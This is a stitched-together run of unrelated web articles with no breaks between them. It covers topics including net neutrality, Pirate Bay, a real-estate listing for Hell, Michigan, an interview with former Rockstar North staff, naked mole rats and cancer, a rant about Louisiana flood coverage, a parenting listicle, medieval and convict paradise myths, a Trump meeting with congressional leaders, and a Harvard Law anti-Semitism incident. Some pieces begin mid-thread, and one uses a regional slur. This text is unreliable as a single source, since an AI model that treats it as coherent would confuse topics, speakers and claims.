READ MORE: Spy Files: WikiLeaks to publish fourth series of leaks – Assange
The future of net neutrality
What could bring together President Barack Obama and a group of porn stars? Net neutrality of course! Although a complicated issue, it boils down to whether or not all internet traffic will be treated equally. Critics of net neutrality such as German Chancellor Angela Merkel are against it, arguing a “fast lane” should be created for “special services.” What’s at stake is the nature of the internet as we know it.
READ MORE: Will you listen now? Naked porn stars explain why net neutrality is important (VIDEO)
Pirate Bay walks plank
In October, Pirate Bay co-founder Gottfrid Svartholm Warg was sentenced to 3.5 years in jail for hacking. November saw the bittorrent site’s third and final co-founder arrested after four years on the run. In December, Swedish authorities raided the group yet again over alleged copyright violations. The life of a pirate certainly isn’t easy, though those who take to the high seas (or the cloud) have managed to keep themselves a step ahead the authorities, even if all their leaders are behind bars.
Mysterious death of Serena Shim
Serena Shim, a Lebanese-American Press TV reporter who died in a car crash near the Turkish-Syrian border, claims she was being tracked by Turkish security services due to her reporting in the besieged Syrian city of Kobani. One day prior to her death, Turkish intelligence had allegedly accused her of being a “spy.” Family members and Iranian media have speculated about the cause of Shim’s death, while her sister says the US government has offered no support in investigating the matter.
Monsanto beats back GMO labeling
Despite mounting public opposition, Monsanto managed to defeat GMO labeling initiatives in both Colorado and Oregon this year after pouring millions of dollars into its campaign to leave its influence on the US food system invisible to consumers. In Oregon, the initiative failed to pass by a mere 812 votes, although in Colorado, 66 percent voted for the right not to know. In December, activists in Oregon filed suit, claiming 4,600 valid ballots had been erroneously rejected.
Despite the victories stateside, on the other side of the Atlantic, the EU approved a law that will allow the bloc’s 28 member states to restrict the cultivation of genetically-modified crops.
Fracking fears
Banned in its Texas birthplace and drastically expanded across the UK, fracking – the oil and gas extraction method – remains as controversial as ever. In October, some 3 billion gallons of fracking wastewater were dumped into central California drinking-water and farm-irrigation aquifers. One recent study found that living near a fracking site deteriorates health. Another said it could be as dangerous as asbestos or tobacco.
With so much bad press, even 2016 presidential hopeful Hillary Clinton expressed her concerns over the shale gas boom, though she might change her tune once on the campaign trail.
Anti-Austerity protests hit UK
Sometimes, even starting a march on the doorstep of the BBC won’t get you media coverage, even if Russell Brand shows up. The latest People’s Assembly protest descended on Number 10 Downing Street to throw out a collective voice against austerity. But even so close to the heart of power, it remains to be seen if anyone was listening.
READ MORE: 'No more austerity:' Thousands rally in London demanding alternative from govt
’F**k the EU’ & more Ukraine tape leaks
Just weeks before former Ukrainian President Viktor Yanukovich was ousted from power, Assistant Secretary of State for Europe Victoria Nuland had a lot of ideas for Ukraine’s future leadership and some choice words for European policy makers approach to the conflict. "F**k the EU," Nuland allegedly said in a hacked phone call with US Ambassador to Ukraine Geoffrey Pyatt. Critics claimed the conversation proved the US was manipulating the pro-EU opposition to help in its efforts to see Yanukovich driven from power.
Some Ukrainian leaders pulled no punches in their phone conversations either. In a leaked Yulia Tymoshenko tape, Ukraine's former PM called for "grabbing guns and killing damn Russians." Other private conversations made public allegedly resulted in dozen of deaths.
READ MORE: Five Ukraine war tragedies: Questions unanswered, investigation drawn out
Most real estate agents assure clients they're buying their own little piece of paradise when they sign on the dotted line.
Not Rick Beaudin. He's selling Hell.
For real.
Beaudin is handling the listing for Hell, Michigan — a delightful little tourist trap in southern Livingston County — which is now officially on the market for $999,666.
"It's a hell of a deal," said Beaudin, of Remax Platinum, who is handling the sale with colleague Ron Kirk.
The sale includes about five acres of land and buildings including a food/convenience store with a postal window where you can have letters postmarked "Hell," a mini-golf course, a wedding chapel and an ice cream shop and novelties store.
There's also the "gates of Hell" suitable for photo ops; a weather station (because everybody always wants to know when Hell has frozen over) and all marketing rights to Hell-related merchandise.
Beaudin said owner John Colone, who has developed the property over the past 15 years or so, is ready to move on to other challenges.
"John has just run with everything," Beaudin said. "It's been difficult for him to do as a one-man show."
Beaudin said the wedding chapel has hosted more than 400 ceremonies. There's a popular "Run Through Hell" race day in October with 1-mile, 5- or 8-kilometer routes and an annual convention of people who collect antique hearses.
"If somebody really runs with it, they could do what Bronner's has done with Christmas," Beaudin said.
Buy Photo The unincorporated hamlet of Hell welcomes visitors about three miles southwest of Pinckney. (Photo: GREG DeRUITER/Lansing State Journal)
He said Hell's site — close to state recreation areas with plenty of hiking, swimming biking, boating and fishing opportunities — also makes it appealing.
Just about the only thing in Hell that isn't included in the sale is the popular restaurant, the Dam Site Inn (yes, there really is a dam in Hell, and yes, the restaurant really is next to it). That's owned by a different party.
Beaudin said interested shoppers will find the listing online early next week, including a photo gallery; they're also building a Facebook page.
We don't often hear from the people who work at Rockstar. Co-founders Sam and Dan Houser aside, the cryptic company behind the gargantuan Grand Theft Auto series presents a united front. When Rockstar speaks it is from one voice. So when the chance came up to chat with a couple of people who used to work at Rockstar's flagship studio, the fabled Rockstar North, I grabbed it with both hands. And they aren't any old former Rockstar North developers, either: one worked there for over a decade, the other for nearly 20 years. Will Morton and Craig Conner, who left Rockstar North to set up their own company, Solid Audioworks. Will Morton worked at Rockstar North for 12 years as a dialogue supervisor and senior audio designer. He started not long after Grand Theft Auto 3 came out in October 2001 for the PlayStation 2. Back then, Rockstar North was known as DMA Design, the Dundee-based creator of the GTA and Lemmings franchises. Morton worshipped DMA's early GTA games, so scoring an interview at the place where they were built blew his mind. Then, he got the job. But when he turned up for work there was something different about the place: DMA Design had become Rockstar North. "I signed a contract with DMA, which was one of my heroes from the late 80s and 90s when I was growing up," he says. "I get a job at my dream place and then it all gets rebranded to Rockstar. It felt like a fresh start." Morton was put to work on Vice City, which launched a year later after a blistering nine month production. "It felt like for the first time I wasn't going to be able to play a GTA game without knowing it from the inside out already," he says. That's something you hear a lot from developers who end up working on game franchises they love. They miss being a punter, experiencing games when they're finished - not as they're built. After Vice City launched and sold spectacularly well, Morton worked on Manhunt. Then came San Andreas. By the end of the PS2 era he was involved in every game Rockstar was putting out. Scot Craig Conner was the music director at Rockstar North. He scored nearly 20 years at the company, composing the soundtrack for the original Grand Theft Auto in 1997. Conner remembers with fondness when Rockstar took over DMA. For someone who had spent so long fantasising about securing licensed tracks for GTA games, having Sam Houser, who had come from Bertelsmann Music Group with a contacts book bursting with big names from the music industry, leading the charge was a dream come true. "I was in awe of this guy," he says. "We'd been faking it with GTA 1 and GTA 2, making up all these mock radio stations. When Sam came on board I was like, yes! We've actually got access to proper music so we can start licensing things. "That's exactly what he did." When it came to in-game music, the Housers had an immediate impact. For GTA 3, half the music was written in-house, the other half made up of licensed tunes designed to fit in with the story. Vice City, though, stepped it up. In-car radio stations blasted out a huge collection of iconic 80s tracks from the likes of Judas Priest, Blondie, Kate Bush, Iron Maiden, Mötley Crüe, Ozzy Osbourne, INXS, and even Michael Jackson. "We were making up all these unheard of fictional artists, and then the next thing we knew we were on Vice City with Michael Jackson," Conner remembers. "And then we were like, oh yeah, let's shove in a couple of our own made-up fictional bands. And then we were like, no. Let's not. The rest is history." Conner credits Terry Donovan, who co-founded Rockstar Games alongside the Houser brothers, with securing much of the licensed music for Vice City. Donovan, Sam Houser's old school friend, had once been head of A&R at Arista Records, a division of BMG. Donovan, Conner remembers, tapped up US music executive Tommy Mottola, who at the time headed up Sony Music Entertainment. Mottola gave Rockstar permission to flick through Sony's extensive catalogue and pick out what they wanted. Having Sony on board for the music was a big deal for GTA. Conner felt like a kid in the most mouthwatering candy store in town. Quickly, the roles reversed. For Vice City Rockstar went to the record industry asking for favours. Nowadays it's the record industry that goes to Rockstar hoping to get its acts on the biggest soundtrack in all of video games. "Everybody was just winging it back in the day, you know?" Conner says. "And to see what it's actually come up to now is quite amazing."
When Will Morton started at Rockstar North he was given the job of working on dialogue. It was decided that someone should be responsible for the noises that comes out of the mouths of characters in Rockstar games since, well, that seemed to be important in the post-GTA 3 world. After Vice City came ultra violent psychological stealth horror Manhunt, which Eurogamer's Christian Donlan maintains is the best game Rockstar North has ever made. It was clear to the developers that Manhunt would have a lot of "talk" in it. "You need to know where people are," Morton says, "and you can't rely on whistling and footsteps for everything." Manhunt, Rockstar North's controversial psychological stealth game. Rockstar's games were changing. They were getting bigger and narrative was becoming more important. "It became apparent that with the way Sam and Dan Houser wanted to push the games and go more cinematic and on a grander scale," Morton says, "that the dialogue was going to be a big thing." Still, Rockstar had yet to grow into the 350 person gorilla it is today. Roles bled into each other and everybody did a bit of everything, helping out here and there. For Morton, it was a combination of handling the dialogue and doing sound design. He did a lot of the sound effects for Manhunt, and, beyond that, sound effects for San Andreas, GTA 4 and others. "Dialogue is something Dan [Houser] in particular is always wanting to push to make sure it's at the forefront of what everybody is doing," Morton says. "While a movie is predictable and entirely linear, we need to make concessions to make sure dialogue doesn't get boring or repetitive, so every experience can be different for every player." After GTA 4 came out in 2008, Rockstar's developers realised they were using dialogue to a greater extent than other studios. The jump to GTA 5 would be enormous: GTA 4 had 80,000 lines of dialogue. GTA 5, which launched on the same hardware, had just under 160,000 lines of dialogue. If GTA has a screenplay, Dan Houser writes it. "He's like a machine," Conner says. "He's a powerhouse machine." But there are other writers at the company who contribute. All those pedestrians aren't going to write themselves, after all. The writers would work with Morton, talking to each other almost every day, to help convert the story and dialogue into missions that fit into GTA's open world. Dan Houser is hands-on here. Sam Houser, it seems, is more of a big picture person. "I'm thinking back to a discussion we'd had with Sam just after GTA San Andreas came out," Morton remembers, "and he was talking about his plans for the future of GTA. Sam is very much, 'let's think big, let's aim high, and let's make the best we can.' "There's no point approaching a project if you don't have ambition. And Sam oozes that. I even remember things he was saying after San Andreas, things he wanted to do in future GTAs. And even after GTA 5 there were still things back from 2004. Sam really does think into the future for sure." "He's like, 'yeah, well, what's next?'" Conner says. "'What's next?'" Rockstar North, in central Edinburgh, Scotland. Both Morton and Conner had worked through GTA's transition from the PS2 to the PS3, witnessing the more cartoony, over-the-top GTA experience evolve into something more realistic and grounded. That transition also involved a move to high definition visuals and audio. With people playing games on huge HD TVs, detail had to be increased. A lot. Moving from GTA 4 to GTA 5, Rockstar North wanted a story that would feel more mature. Not in terms of the violence, Morton insists (GTA has always been supremely violent), but in terms of feeling and tone. He flew to LA for recording sessions with hundreds of actors. Directors from Rockstar would have the "talent" in the booths, holding the scripts Rockstar North had produced. "Given the fact GTA 5 was so big, it would be difficult for somebody who hasn't had a history in games of that size to just jump in and make something that big," Morton says. "Me overseeing the dialogue for so many past GTAs, I had a better chance than most of making GTA 5's dialogue a success. I'm really pleased that came off. It's a genuine highlight of my career to have been involved in that." Authenticity was a big part of GTA 5's design. So, for the video game gang members, voice actors who were previously real life gang members were hired. "They had turned their lives around and become actors," Morton says, "which in LA does happen. "They'd look at the script and sometimes say, 'I wouldn't say that.' And we'd give them the freedom to make it their own." One of GTA's more controversial - and long-standing - elements is the ability to pay for sex with prostitutes. It's been a staple of the series for years, so much so that the shock value has kind of worn off at this point. For Craig and Will, though, it never got any easier to record a prostitute's dialogue. "There are a lot of people in the control room," Conner says. "There's the actress, being very professional, she's doing her lines and everything, and then, like, 'yeah, could you just give us a...'" "We need something to sound very slurpy," Morton interjects. "And now if you could just imagine you're getting - I'm thinking of a nice word to say - you're having sex with your client," Conner says. "It just goes from bad to worse. And it's so embarrassing." Conner and Morton remember a time, in the early days of the series, when the developers would get their mates to help record dialogue like this. "When you're recording with people you know, you have a bit of banter," Morton says. "But when we're working on games like Vice City and San Andreas, and we're using professional actresses, you don't know quite where you can tread with that." GTA has come on a bit since San Andreas. "With some of the actors, it's far better to parrot a line to them," Conner explains. "You shout how you want it delivered. Rather than just give them the description, you just say, 'SHOUT IT LIKE THIS! SOMEBODY'S KILLING YOU!' You do that. "With the prostitute stuff it was like, 'could you just go like, ah! Oh!'" "Quite often the person who is doing the acting won't have been familiar with the game beforehand," Morton explains. "So we had to try and explain a lot very quickly. So sometimes it's best to just put your dignity aside and act it out." GTA 5 was the first in the series to feature a system that allowed you to switch between multiple characters at any time. And it was the first GTA to feature an interactive score, written and composed by German electronic music group Tangerine Dream ("Some of it's quite sinister sounding, which I knew would work with some of the missions that were planned for GTA 5," Conner says), alongside the radio stations fans of the series had come to expect. This was a big challenge for the audio team at Rockstar North. Having come off of Max Payne 3, Conner set to work on this interactive score. The idea was to mix the music in such a way that the radio stations sounded processed and rich, and the score was played down, with a more stereo sound. This, Conner hoped, would mean players would hear a definition between the score and the radio - even at a subconscious level. "Missions, with the players coming in and out of cars, it was such a challenge to try and make that happen smoothly so the players wouldn't really notice the transitions much, which I think we got away with," he says. "I mean, there are a few situations where you might notice a less than subtle change, shall we say. But generally speaking, we managed to iron it out and make it all a bit smoother." "It's one of those technical processes you hope people don't ever realise is happening," Morton adds. "When you've got a world as rich as GTA, you have people on the street talking, you have the sound of cars, the sound of the ambience, then you've got not only music from the radio, which we've traditionally done, but we have the addition of the score, which obviously is very action driven and follows what the player is doing. It's a lot for the brain to process, so we had to go through a lot of technical decisions about how best to allow each component its own space to breath." "At the start, I didn't know if we could actually pull it off," Conner says, "because I was so worried about how it would gel. It is a miracle we actually managed to pull it off."
The findings, which were published recently in an issue of Proceedings of the National Academy of Sciences, bring optimism that the cure to cancer may not be far off. Even more encouraging, scientists traced the naked mole rats' ability to stay tumorless to the operation of a single gene.
Dubbed 'p16', the gene works by making cells "claustrophobic", essentially keeping them from replicating when too many crowd together. Since cancer is caused by runaway cell growth, the gene acts as a fail-safe mechanism, preventing cell proliferation from cascading out of control.
"It's very early to speculate about the implications, but if the effect of p16 can be simulated in humans, we might have a way to halt cancer before it starts," said University of Rochester researchers Vera Gorbunova and Andrei Seluanov.
The exciting discovery comes at the end of an unusual three-year journey for Gorbunova and Seluanov, who have been investigating rodents of all kinds from around the world to see how they each deal with cancer differently. It turns out that naked mole rats are particularly unusual when put in a context with most other small-bodied mammals. Aside from their hairless bodies and the fact that they form communities that consist of queens and workers more reminiscent of bees or ants than rodents, they also live longer — a lot longer. Some naked mole rats have been known to live more than 30 years. Of course, the fact that they're resistant to cancer helps to explain how they can live so long. But that longer lifespan means that there's even more time for cells to grow cancerous, a fact which made the mystery as to how the depilated rodents remain cancer-free all the more intriguing. Now that the mystery is solved, it almost seems apt: It may be that the key to curing cancer for the hairless ape rests in understanding the tiny, bizarre biology of the hairless rat.
Scientists discover how naked mole rats stay cancer-free
Can’t believe the media silence on this story. Look at the screenshot of CNN’s home page. Not a single mention of the flood anywhere. We’re it not for your blog, I wouldn’t have known about it.
I checked the page just now on my smartphone, and the Louisiana flooding story is the 16th story on the page. You have to scroll way down to see it, and it’s below an underwear ad.
The sheriff of Livingston Parish is saying that over 100,000 people in his parish alone lost everything they own. But hey, on CNN, Adele’s not Beyoncé, a sportscaster is on TV in his drawers, and Donald Trump is hearing things. Haw haw!
It’s not just them. On the CBS News webpage as I type this, the lead story is the arrest of a suspect in the murder of Muslims in Queens. If you want to find out the latest in what is shaping up to be one of the nation’s worst-ever natural disasters, you have to scroll way down, past several Olympics stories (including an explainer of why the water in Rio pools turned green), a piece on Hillary’s promise to love Scranton, a piece about a California fire that destroyed 175 structures and left “dozens of families homeless,” and a piece about a New York woman who says her head felt like it was going to explode when she was struck by lightning.
Look, nothing against the lighting-strike lady or those dozens of California families who are without homes tonight. But guess what, CBS? In Ascension Parish, just south of Baton Rouge, 15,000 homes and business are underwater! That’s about 1/3 of all homes in a parish whose population is roughly 120,000 people. In Livingston Parish, 50,000 homes are flooded out — that’s 70 percent of all the houses in the parish.
Those are just two parishes. So many here in south Louisiana are in the same shape. And it’s continuing.
But hey, CBS, don’t let what’s happening to hundreds of thousands of coonasses and rednecks and black folks here in flyover territory take your eye off of green swimming pools in Rio, two murders in Queens, and 175 buildings in California (question: why are 175 destroyed California homes more important to CBS News than what will easily be more than 100,000 homes in south Louisiana?). Same with you, CNN. Same with so many of you people in the national media.
Honest to God, what is wrong with you media people? I know, everybody thinks what’s happening in their part of the world is the most important thing ever. I get that. But come on, these floods are of national historical importance in the United States of America. And you national media people may find this hard to believe, but south Louisiana is as much a part of America as is Queens, northern California, and Pennsylvania. We’re not friggin’ Bangladesh.
Please insult us, Donald Trump. That’s the only way to get the national media to notice what’s happening to us here.
This much is clear not just in my inbox, but on newsstands, too. Take a look at the TIME magazine cover story “The Childfree Life,” which inspired a lot of conversation online as well as my new Mommyish column and this post. The media will never stop comparing childfree/childless people and parents — something I can personally attest to — even though the subject is suuuper boring, and it’s still as irritating as ever (if not more so) when parents condescend to their friends just for not having kids. What’s the point? Can’t we all just get along?? Let’s check out some more examples of parents mommyjacking their selfish, clueless, and unimpressive non-parent friends:
1. Congratulations, You Don’t Know Shit
It’s taken a few years, but Zoey’s comment might trump this mommyjacking in its display of earnest assholishness, which is a real feat. Congratulations on being the yin to Kara’s yang, Zoey. The world stays balanced because of people like you.
2. Nursejacking
Adrienne’s cryptic-sounding status update isn’t so cryptic to her Facebook friends, who know she’s been working toward becoming a nurse for some time now. That said, becoming a nurse can’t really compare to becoming a mom, PLUS nurses get paid! What kind of BS is that? Pay nurses for knowing how to treat a stab wound to the trachea, but don’t pay moms for doing almost the exact same thing? That’s called discrimination.
3. The Dog/Baby Void
Oh, dog people. When will they ever learn that you can never fill a baby void with dogs. German Shepherds, English Bulldogs, pitbull-Jack Russell-terrier mutts…the list goes on and on. You can try to fit as many as 100 beautiful rescue pups into that baby-shaped void, but NOTHING will fill it like a human baby. It’s like trying to fit a St. Bernard into a Baby Bjorn. Not gonna happen.
4. Sun-kiss That Tan Goodbye
Aww, you got engaged and your so tan! Really adorable considering you have no idea what will happen once kids enter the picture..LOL hope you had fun with THAT. Ask yourself one question: Have you ever met a mother whose tan is even? LOL that’s what I thought!! Sucker. Just wait. :)
5. “Enjoy those day’s”
I’m considering staging an Apostrophe Intervention because my eye’s are so tired of reading plural word’s with apostrophe’s. For the love of god, if you’re going to mommyjack, do it with some class. Or, here’s a thought: Don’t do it at all, because it leads to comment threads like this one. First, Red pops in with the old, “Holy shit, NOON???”, which I can actually understand from a (non-parent) parent’s perspective. From there, however, it goes from patronizing “doll day’s” to “Ugh. Ditto on the kids.” which is *kind of* another way of saying, “Bitch, please.”
Ultimately, sleep is a parent vs. non-parent battle that will never be won. As much as it sucks that parent’s parents never get to sleep in, it’s also sucky to begrudge a friend who doesn’t have kids for doing so. Don’t hate the sleeper, hate the nap. Or the wailing child who’s keeping you up. You know what I mean.
Don’t forget to check out my new column 'How Not To Mommyjack Your Childfriend Friends’ over on Mommyish!
The ancient Greeks knew it; that’s what the legend of Pandora’s box is all about. And Paul’s First Letter to the Corinthians speaks of the enduring power of faith, hope and charity, a trio whose appearance in the skies over Malta during the darkest days of World War II is worthy of telling of some other day. But it is also possible to trace a history of hope. It emerges time and again as a response to the intolerable burdens of existence, beginning when (in Thomas Hobbes’s famous words) life in the “state of nature” before government was “solitary, poor, nasty, brutish and short,” and running like a thread on through the ancient and medieval periods until the present day.
I want to look at one unusually enduring manifestation of this hope: the idea that somewhere far beyond the toil and pain of mere survival there lies an earthly paradise, which, if reached, will grant the traveler an easy life. This utopia is not to be confused with the political or economic Shangri-las that have also been believed to exist somewhere “out there” in a world that was not yet fully explored (the kingdom of Prester John, for instance–a Christian realm waiting to intervene in the war between crusaders and Muslims in the Middle East–or the golden city of El Dorado, concealing its treasure deep amidst South American jungle). It is a place that’s altogether earthier—the paradise of peasants, for whom heaven was simply not having to do physical labor all day, every day.
One of the earliest manifestations of this yearning, and in important respects one that defined the others that came after it, was the Land of Cockaigne, a realm hymned throughout Europe from at least the 12th century until well into the 16th. According to Herman Pleij, the author of an exhaustive study of its legend, Cockaigne was “a country, tucked away in some remote corner of the globe, where ideal living conditions prevailed.” It promised a mirror image of life as it was actually lived during this period: “Work was forbidden, for one thing, and food and drink appeared spontaneously in the form of grilled fish, roast geese and rivers of wine.” Like some Roald Dahl fantasy, this arcadia existed solely to gratify the baser instincts of its inhabitants.”One only had to open one’s mouth,” Pleij writes, “and all that delicious food practically jumped inside. One could even reside in meat, fish, game, fowl and pastry, for another feature of Cockaigne was its edible architecture. The weather was stable and mild—it was always spring—and there was the added bonus of a whole range of amenities: communal possessions, lots of holidays, free sex with ever-willing partners, a fountain of youth…and the possibility of earning money while one slept.”
It is far from clear, from the fragmentary surviving sources, just how real the Land of Cockaigne was to the people who told tales of it. Pleij suggests that “by the Middle Ages no one any longer believed in such a place,” hypothesizing that it was nonetheless “vitally important to be able to fantasize about a place where everyday worries did not exist.” Certainly, tales of Cockaigne became increasingly surreal. It was, in some tellings, filled with living roasted pigs that walked around with knives in their backs to make it all the easier to devour them, and ready-cooked fish that leaped out of the water to land at one’s feet. But Pleij admits it is not possible to trace the legend back to its conception, and his account leaves open the possibility that belief in a physically real paradise did flourish in some earlier period, before the age of exploration.
As much is suggested by another batch of accounts, dating to a rather later period, which come from Russia. There peasants told of as many as a dozen different lands of plenty; perhaps the best-known was Belovode, the Kingdom of the White Waters. Although accounts of this utopia first appeared in print in 1807, at least some versions of the legend seem to have been much older. Belovode was said to be located a three year round trip from European Russia, on the far side of Siberia and “across the water”; perhaps it was Japan. There are some intriguing differences between Belovode and Cockaigne which may say something about the things that mattered to Russia’s peasants. Their utopia was, for instance, not a land of plenty, merely a place where “spiritual life reigned supreme, all went barefoot and shared the fruits of the land, which was devoid of oppressive rules, crimes and war.”
Belief in the existence of Belovode endured in some rural districts throughout the 19th century; “large migrations were mounted to find it,” the historian Richard Stites records, and as late as 1898 “three cossacks of the Urals set sail from Odessa to Asia and Siberia and back again, declaring on their return that it did not exist.” There were other, similar utopias in Russian myth—”the City of Ignat, the Land of the River Darya, Nutland, and Kitezh, the land beneath the lake”—and in his well-regarded cultural history, Natasha’s Dance, Orlando Figes confirms that
the peasantry believed in a Kingdom of God on this earth. Many of them conceived of heaven as an actual place in some remote corner of the world, where the rivers flowed with milk and the grass was always green. This conviction inspired dozens of popular legends about a real Kingdom of God hidden somewhere in the Russian land. There were legends of the Distant Lands, of the Golden Islands, of the Kingdom of Opona, and the Land of Chud, a sacred kingdom underneath the ground where the ‘White Tsar’ ruled according to the ‘ancient and truly just ideals’ of the peasantry.
Elsewhere, Figes adds some detail concerning Opona, a place “somewhere on the edge of the flat earth, where the peasants lived happily, undisturbed by gentry or state.” Groups of travelers, he asserts, “even set out on expeditions in the far north in the hope of finding this arcadia.”
So, desperate peasants were capable, in certain circumstances, of taking great risks in search of a physical paradise—and the more desperate they were, perhaps, the more willing they would be to risk their necks for it. The third and last legend that I want to consider here suggests as much. It dates to the last years of the 18th century and flourished among a group of men and women who had very little to lose: unhappy convicts who found themselves being transported from Britain to penal colonies established along the newly discovered–and inhospitable–east coast of Australia.
Beginning in 1787, just a few years after the American War of Independence closed off access to the previous dumping-ground favored by the government in London, tens of thousands of criminals found themselves disembarking on the edges of a continent that had scarcely been explored. Among them were large contingents of Irish men and women, the lepers of Britain’s criminal courts, and it was among the members of this fractured and dislocated community that an even stranger myth sprang up: the idea that it was possible to walk from Botany Bay to Beijing. China, not Cockaigne or Belovode, became the land of paradise for these believers.
Of course, few Irish petty criminals (and most of them were petty; it was possible to be transported for seven years for stealing sixpence-worth of cloth, or pickpocketing a handkerchief) had any education in those days, so it is not surprising that their sense of geography was off. The sheer scale of their delusion, though, takes a little getting used to; the real distance from Sydney to Peking is rather more than 5,500 miles, with a large expanse of the Pacific Ocean in the way. Nor is it at all clear how the idea that it was possible to walk to China first took root. One clue is that China was the principal destination for ships sailing from Australia, but the spark might have been something as simple as the hopeful boast of a single convict whom others respected. Before long, however, that spark had grown into a blaze.
The first convicts to make a break northward set out on November 1, 1791, little more than four years after the colony was founded. They had arrived there only two months earlier, on the transport ship Queen, which the writer David Levell identifies as the likely carrier of this particular virus. According to the diarist Watkin Tench, a Royal Marines officer who interviewed several of the survivors, they were convinced that “at a considerable distance northward existed a large river which separated this country from the back part of China, and that when it should be crossed they would find themselves among a copper coloured people who would treat them kindly.”
A total of 17 male convicts absconded on this occasion, taking with them a pregnant woman, wife to one; she became separated from the remainder of the group and was soon recaptured. Her companions pressed on, carrying with them their work tools and provisions for a week. According to their information, China lay no more than 150 miles away, and they were confident of reaching it.
The fate of this initial group of travelers was typical of the hundreds who came after them. Three members of the party vanished into the bush, never to be heard from again; one was recaptured after a few days, alone and “having suffered very considerably by fatigue, hunger and heat.” The remaining 13 were finally tracked down after about a week, “naked and nearly worn out by hunger.”
The failure of the expedition does not seem to have deterred many other desperate souls from attempting the same journey; the “paradise myth,” Robert Hughes suggests in his classic account of transportation, The Fatal Shore, was a psychologically vital counter to the convicts’ “antipodean Purgatory”–and, after all, the first 18 “bolters” had been recaptured before they had the opportunity to reach their goal. Worse than that, the surviving members of the party helped to spread word of the route to China. David Collins, the judge advocate of the young colony, noted that the members of the original group “imparted the same idea to all their countrymen who came after them, engaging them in the same act of folly and madness.”
For the overstretched colonial authorities, it was all but impossible to dissuade other Irish prisoners from following in the footsteps of the earliest bolters. Their threats and warnings lacked conviction; Australia was so little explored that they could never state definitively what hazards absconders would face in the outback; and, given that all the convicts knew there was no fence or wall enclosing them, official attempts to deny the existence of a land route to China seemed all too possibly self-serving. Before long, a stream of “Chinese travelers” began to emulate the trailblazers in groups up to 60 strong–so many that when muster was taken in January 1792, 54 men and 9 women, more than a third of the total population of Irish prisoners, were found to have fled into the bush.
The fragmentary accounts given by the few survivors of these expeditions hint at the evolution of a complex mythology. Several groups were found to be in possession of talismanic “compasses”—which were merely ink drawings on paper—and others had picked up navigational instructions by word of mouth. These latter consisted, Levell says, of “keeping the sun on particular parts of the body according to the time of day.”
Over time, the regular discovery of the skeletons of those who had tried and failed to make it overland to China through the bush did eventually dissuade escaping convicts from heading north. But one implausible belief was succeeded by another. If there was no overland route to China, it was said, there might yet be one to Timor; later, tales began to circulate in the same circles of a “white colony” located somewhere deep in the Australian interior. This legend told of a land of freedom and plenty, ruled over by a benevolent “King of the Mountains,” that would have seemed familiar to medieval peasants, but it was widely believed. As late as 1828, “Bold Jack” Donohue, an Irish bushranger better known as “the Wild Colonial Boy,” was raiding farms in outlying districts in the hope of securing sufficient capital to launch an expedition in search of this arcadia. The colonial authorities, in the person of Phillip’s successor, Governor King, scoffed at the story, but King hardly helped himself in the manner in which he evaded the military regulations that forbade him to order army officers to explore the interior. In 1802 he found a way of deputing Ensign Francis Barrallier to investigate the impenetrable ranges west of Sydney by formally appointing him to a diplomatic post, naming him ambassador to the King of Mountains. Barrallier penetrated more than 100 miles into the Blue Mountains without discovering a way through them, once again leaving open the possibility that the convicts’ tales were true.
It is impossible to say how many Australian prisoners died in the course of fruitless quests. There must have been hundreds; when the outlaw John Wilson surrendered to the authorities in 1797, one of the pieces of information he bartered for his freedom was the location of the remains of 50 Chinese travelers whose bones—still clad in the tatters of their convict uniforms—he had stumbled across while hiding in the outback. Nor was there any shortage of fresh recruits to the ranks of believers in the tales; King wrote in 1802 that “these wild schemes are generally renewed as often as a ship from Ireland arrives.”
What remained consistent was an almost willful misinterpretation of what the convicts meant by fleeing. Successive governors viewed their absconding as “folly, rashness and absurdity,” and no more than was to be expected of men of such “natural vicious propensities.” Levell, though, like Robert Hughes, sees things differently—and surely more humanely. The myth of an overland route to China was, he writes, “never fully recognised for what it was, a psychological crutch for Irish hope in an utterly hopeless situation.”
Sources
McConnell told CNN that the meeting was "pretty lighthearted"
Washington (CNN) President Donald Trump privately told congressional leaders Monday he wants to move forward with an ambitious agenda, including to repeal and replace Obamacare and to pass legislation bolstering the country's infrastructure. But he also brought up two past grievances -- mentioning his inauguration crowd size and reiterating an unsubstantiated claim that 3-5 million illegal votes cost him the popular vote, according to two sources familiar with the meeting.
The meeting -- with the top eight House and Senate leaders from both parties -- was mostly social, barely touched on the issues and didn't go into much detail about Trump's policy preferences, Democratic Minority Whip Rep. Steny Hoyer told CNN's Erin Burnett on "OutFront" shortly after the meeting.
"This is largely an opportunity for him to get to know members of the leadership that he did not already know," Hoyer said.
Trump told the congressional leaders -- including the Democrats -- that it's his intention to provide "something that is better and more affordable" than Obamacare, Republican Sen. John Cornyn said, adding that the Democratic leaders pushed back when he said that.
During a Q&A section of the discussion on April 14, hosted by the Program on Negotiation at Harvard Law School and co-sponsored by the Jewish Law Students Association and Harvard Hillel, a law student asked Ms. Livni: “How is it that you are so smelly?”
After the panel looked confused, the student added, “Oh, it’s regarding your odor,” according to a transcript.
“I’m not sure I understand the question,” the event moderator, law professor Robert Mnookin, responded.
“I’m question [sic] about the odor of Tzipi Livni, very smelly, and I was just wondering,” the student said.
Leaders of the Jewish Law Students Association condemned the student’s comments as “blatantly anti-Semitic.”
“Given the opportunity to ask a question and to engage in productive dialogue with an Israeli political leader, this HLS student, who is the president of a student organization on campus, revived the antiquated and offensive notion of the ‘smelly Jew’ — a term reeking of anti-Semitism — in order to insult [Ms. Livni],” the students wrote in a statement.
Harvard Law dean Martha Minow also sent an email to the school community condemning the unnamed student, Tablet Magazine reported.
“The comment was offensive and it violated the trust and respect we expect in our community,” she wrote. “Many perceive it as anti-Semitic, and no one would see it as appropriate. It was an embarrassment to this institution and an assault upon the values we seek to uphold. The fact that speech is and should be free does not mean that hateful remarks should go unacknowledged or unanswered in a community dedicated to thoughtful discussion of complex issues and questions.”
The student issued an apology Wednesday explaining that he or she meant to insult Ms. Livni personally and didn’t mean to invoke a hurtful stereotype.
“I want to be very clear that it was never my intention to invoke a hateful stereotype, but I recognize now that, regardless of my intention, words have power, and it troubles me deeply to know that I have caused some members of the Jewish community such pain with my words,” the student wrote. “To those people I say, please reach out. Give me an opportunity to make it right. I will assure you, as I have already assured many, that had I known it was even possible that some listeners might interpret my comments as anti-Semitic, there is absolutely no chance that I would have uttered them. … Many members of the Jewish community — some of whom hold strong differences of opinion with me — have reached out to me on their own to let me know that they did not interpret my words as anti-Semitic, because they know me well enough to know that that is not at all consistent with who I am as a person.”
